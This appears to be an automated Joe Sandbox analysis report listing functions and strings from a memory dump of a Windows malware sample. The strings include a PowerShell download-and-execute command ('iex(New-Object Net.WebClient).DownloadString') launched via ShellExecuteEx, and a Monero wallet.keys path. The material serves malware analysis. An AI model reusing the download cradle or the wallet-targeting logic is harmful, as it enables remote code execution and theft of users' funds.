RegCloseKey.ADVAPI32(00000000), ref: 00EA8608
RegCloseKey.ADVAPI32(00000000), ref: 00EA861A

Strings

%s\%s, xrefs: 00EA844D

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 5f1faefa5fcf9cc9668b07dbb9c7c18360c9a12f0e4d6e9e4cf3355e1c3baee1
Instruction ID: 44883c9a3aa01af641d382c8a1f2ffa76ff4c207ce9b8654524ea6b4b267c222
Opcode Fuzzy Hash: 5f1faefa5fcf9cc9668b07dbb9c7c18360c9a12f0e4d6e9e4cf3355e1c3baee1
Instruction Fuzzy Hash: 7C21F6B1A00218EBDB24DB54DC85FE9B7B8FB48704F00C198EA49A7140DF756A85CFA4

Function 00EA7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EA76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00EA76AB
RegOpenKeyExA.ADVAPI32(80000002,00BAB8B0,00000000,00020119,00000000), ref: 00EA76DD
RegQueryValueExA.ADVAPI32(00000000,00BBF3C8,00000000,00000000,?,000000FF), ref: 00EA76FE
RegCloseKey.ADVAPI32(00000000), ref: 00EA7708

Strings

Windows 11, xrefs: 00EA76BD

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: b7c4e0e47e3a1c434636fc9ec11dee825b4b28602256dd25686bb1cdedad394f
Instruction ID: 89cda43d10748a36f1c848c6a89bca7a8810c9d894e23d4856b9bb865a197d09
Opcode Fuzzy Hash: b7c4e0e47e3a1c434636fc9ec11dee825b4b28602256dd25686bb1cdedad394f
Instruction Fuzzy Hash: 32014FB5B45204FBDB10DBE4DC4AFAAB7B8EB48701F104055FE85AB284DA79A9008B50

Function 00EA7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EA7734
RtlAllocateHeap.NTDLL(00000000), ref: 00EA773B
RegOpenKeyExA.ADVAPI32(80000002,00BAB8B0,00000000,00020119,00EA76B9), ref: 00EA775B
RegQueryValueExA.ADVAPI32(00EA76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00EA777A
RegCloseKey.ADVAPI32(00EA76B9), ref: 00EA7784

Strings

CurrentBuildNumber, xrefs: 00EA7771

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: a8b3d930366b63ee6b122264271c4fa33824707994978af1ceb3953dd37765f4
Instruction ID: 8d3ce476dfe937c20917265736f66b4e0d9612f5637386c6a1663b0cf376e58e
Opcode Fuzzy Hash: a8b3d930366b63ee6b122264271c4fa33824707994978af1ceb3953dd37765f4
Instruction Fuzzy Hash: 1A0144B5A40308FBD710DBE0DC4AFAEB7B8EB48701F004555FE45A7285DA7565008F50

Function 00EA92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:,80000000,00000003,00000000,00000003,00000080,00000000,?,00EA3AEE,?), ref: 00EA92FC
GetFileSizeEx.KERNEL32(000000FF,:), ref: 00EA9319
CloseHandle.KERNEL32(000000FF), ref: 00EA9327

Strings

:, xrefs: 00EA92F8, 00EA92FB
:, xrefs: 00EA9311, 00EA933D, 00EA9314

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :$:
API String ID: 1378416451-4250114551
Opcode ID: 2c92e0b8f3fd3fae511390b49eec4499868b5ef72e5ee9ae9314d03a8b07685d
Instruction ID: 5de00d63e13cf1324f51b7ba64f014e3374d2b6dd2b71117e94b8580fb0a04ab
Opcode Fuzzy Hash: 2c92e0b8f3fd3fae511390b49eec4499868b5ef72e5ee9ae9314d03a8b07685d
Instruction Fuzzy Hash: 06F03C35F40208FBDF20DBB0DC49B9E77B9AB4C711F11C294BA51AB2C4DA75A6058B44

Function 00E999C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E999EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E99A11
LocalAlloc.KERNEL32(00000040,?), ref: 00E99A31
ReadFile.KERNEL32(000000FF,?,00000000,00E9148F,00000000), ref: 00E99A5A
LocalFree.KERNEL32(00E9148F), ref: 00E99A90
CloseHandle.KERNEL32(000000FF), ref: 00E99A9A

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: e4b2e9e97869630681670b4a8418e5ebaf6b710bc4cd036534dcb881e76fdb8b
Instruction ID: f237779d9ee38d374a2d85962076a8b5b72be6dde2159c887b1fe1993aae7678
Opcode Fuzzy Hash: e4b2e9e97869630681670b4a8418e5ebaf6b710bc4cd036534dcb881e76fdb8b
Instruction Fuzzy Hash: 583108B4A00209EFDF24CF94C985BAE77F5FF48344F108158E916AB294D779AA41CFA0

Function 00EA4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00BBF608), ref: 00EA47DB

Part of subcall function 00EA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00EA4801
lstrcat.KERNEL32(?,?), ref: 00EA4820
lstrcat.KERNEL32(?,?), ref: 00EA4834
lstrcat.KERNEL32(?,00BAA7C0), ref: 00EA4847
lstrcat.KERNEL32(?,?), ref: 00EA485B
lstrcat.KERNEL32(?,00BBE3C8), ref: 00EA486F

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EA8D90: GetFileAttributesA.KERNEL32(00000000,?,00E91B54,?,?,00EB564C,?,?,00EB0E1F), ref: 00EA8D9F

Part of subcall function 00EA4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00EA4580
Part of subcall function 00EA4570: RtlAllocateHeap.NTDLL(00000000), ref: 00EA4587
Part of subcall function 00EA4570: wsprintfA.USER32 ref: 00EA45A6
Part of subcall function 00EA4570: FindFirstFileA.KERNEL32(?,?), ref: 00EA45BD

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: b3bb90ea42676bda3a16f1cbe3c93053629c4c7e50dfcd4a90b0f8990d75b180
Instruction ID: f57a8fec8ff685939ab0bdf9c26077aab07f8bf6bfa2f7bd481adfe7d58021e4
Opcode Fuzzy Hash: b3bb90ea42676bda3a16f1cbe3c93053629c4c7e50dfcd4a90b0f8990d75b180
Instruction Fuzzy Hash: 933186B2D0021897CB24F7B0DC86EEE73BCAB4C700F405599B759A7081EE74A789CB95

Function 00EA2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

ShellExecuteEx.SHELL32(0000003C), ref: 00EA2D85

Strings

')", xrefs: 00EA2CB3
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00EA2D04
<, xrefs: 00EA2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00EA2CC4

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: f60393cdc16c4f80d2d0cba61579abd5bacd7c8ff0ee685c9c0910146a026ef7
Instruction ID: 0f80e88107a2bbd986614b18882d8b9cb3fe31456a9edbac28072443846aa7e2
Opcode Fuzzy Hash: f60393cdc16c4f80d2d0cba61579abd5bacd7c8ff0ee685c9c0910146a026ef7
Instruction Fuzzy Hash: E041CC71D103089ADB58EFA0C896BEEB7B4AF19300F445129F106BB191EF747A4ACF91

Function 00E99E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00E99F41

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Strings

v20, xrefs: 00E99E21
@, xrefs: 00E99EF1
ERROR_RUN_EXTRACTOR, xrefs: 00E99E67
v10, xrefs: 00E99EA3

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 1956e5d38075074ba22cd44e49b4d6d6921adf7ae69a3ab22050201bc6d2419e
Instruction ID: 7ed90f9bf791811ec5f3f7da635589456ef2934204e581a5f44cafb32d501828
Opcode Fuzzy Hash: 1956e5d38075074ba22cd44e49b4d6d6921adf7ae69a3ab22050201bc6d2419e
Instruction Fuzzy Hash: 07612E71A002489BDF24EFA4CC96FEE77B5AF45300F449528F90A6F191EB746A05CB92

Function 00EA40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00BBE448,00000000,00020119,?), ref: 00EA40F4
RegQueryValueExA.ADVAPI32(?,00BBF6F8,00000000,00000000,00000000,000000FF), ref: 00EA4118
RegCloseKey.ADVAPI32(?), ref: 00EA4122
lstrcat.KERNEL32(?,00000000), ref: 00EA4147
lstrcat.KERNEL32(?,00BBF710), ref: 00EA415B

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 35ba088877c02c2812b5016276889538f25e0888ac81216e43d4ab7713256495
Instruction ID: c289493b9636385fd0d48f3f04078f7c00507d34f2b69553ade794b507d27a34
Opcode Fuzzy Hash: 35ba088877c02c2812b5016276889538f25e0888ac81216e43d4ab7713256495
Instruction Fuzzy Hash: 65418BB6D00108ABDB24EBB0DC46FFE737DAB8C300F408558BA5557185EE756B888BD1

Function 00EA6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00EA696C
sscanf.NTDLL ref: 00EA6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00EA69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00EA69C0
ExitProcess.KERNEL32 ref: 00EA69DA

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: ba8426dfad5bbf5fafc3d9239ed729132b4a6202520c6594916b6162179a72f3
Instruction ID: feab951dcdf6b6c978a9d582399491886e63e6c465cf159b640f2eb5d611488c
Opcode Fuzzy Hash: ba8426dfad5bbf5fafc3d9239ed729132b4a6202520c6594916b6162179a72f3
Instruction Fuzzy Hash: FD21EA75E00208ABCF08EFE4D945AEEB7B9BF4D300F04852AE416B7244EB356605CB69

Function 00EA7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EA7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00EA7E3E
RegOpenKeyExA.ADVAPI32(80000002,00BABBC0,00000000,00020119,?), ref: 00EA7E5E
RegQueryValueExA.ADVAPI32(?,00BBE748,00000000,00000000,000000FF,000000FF), ref: 00EA7E7F
RegCloseKey.ADVAPI32(?), ref: 00EA7E92

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
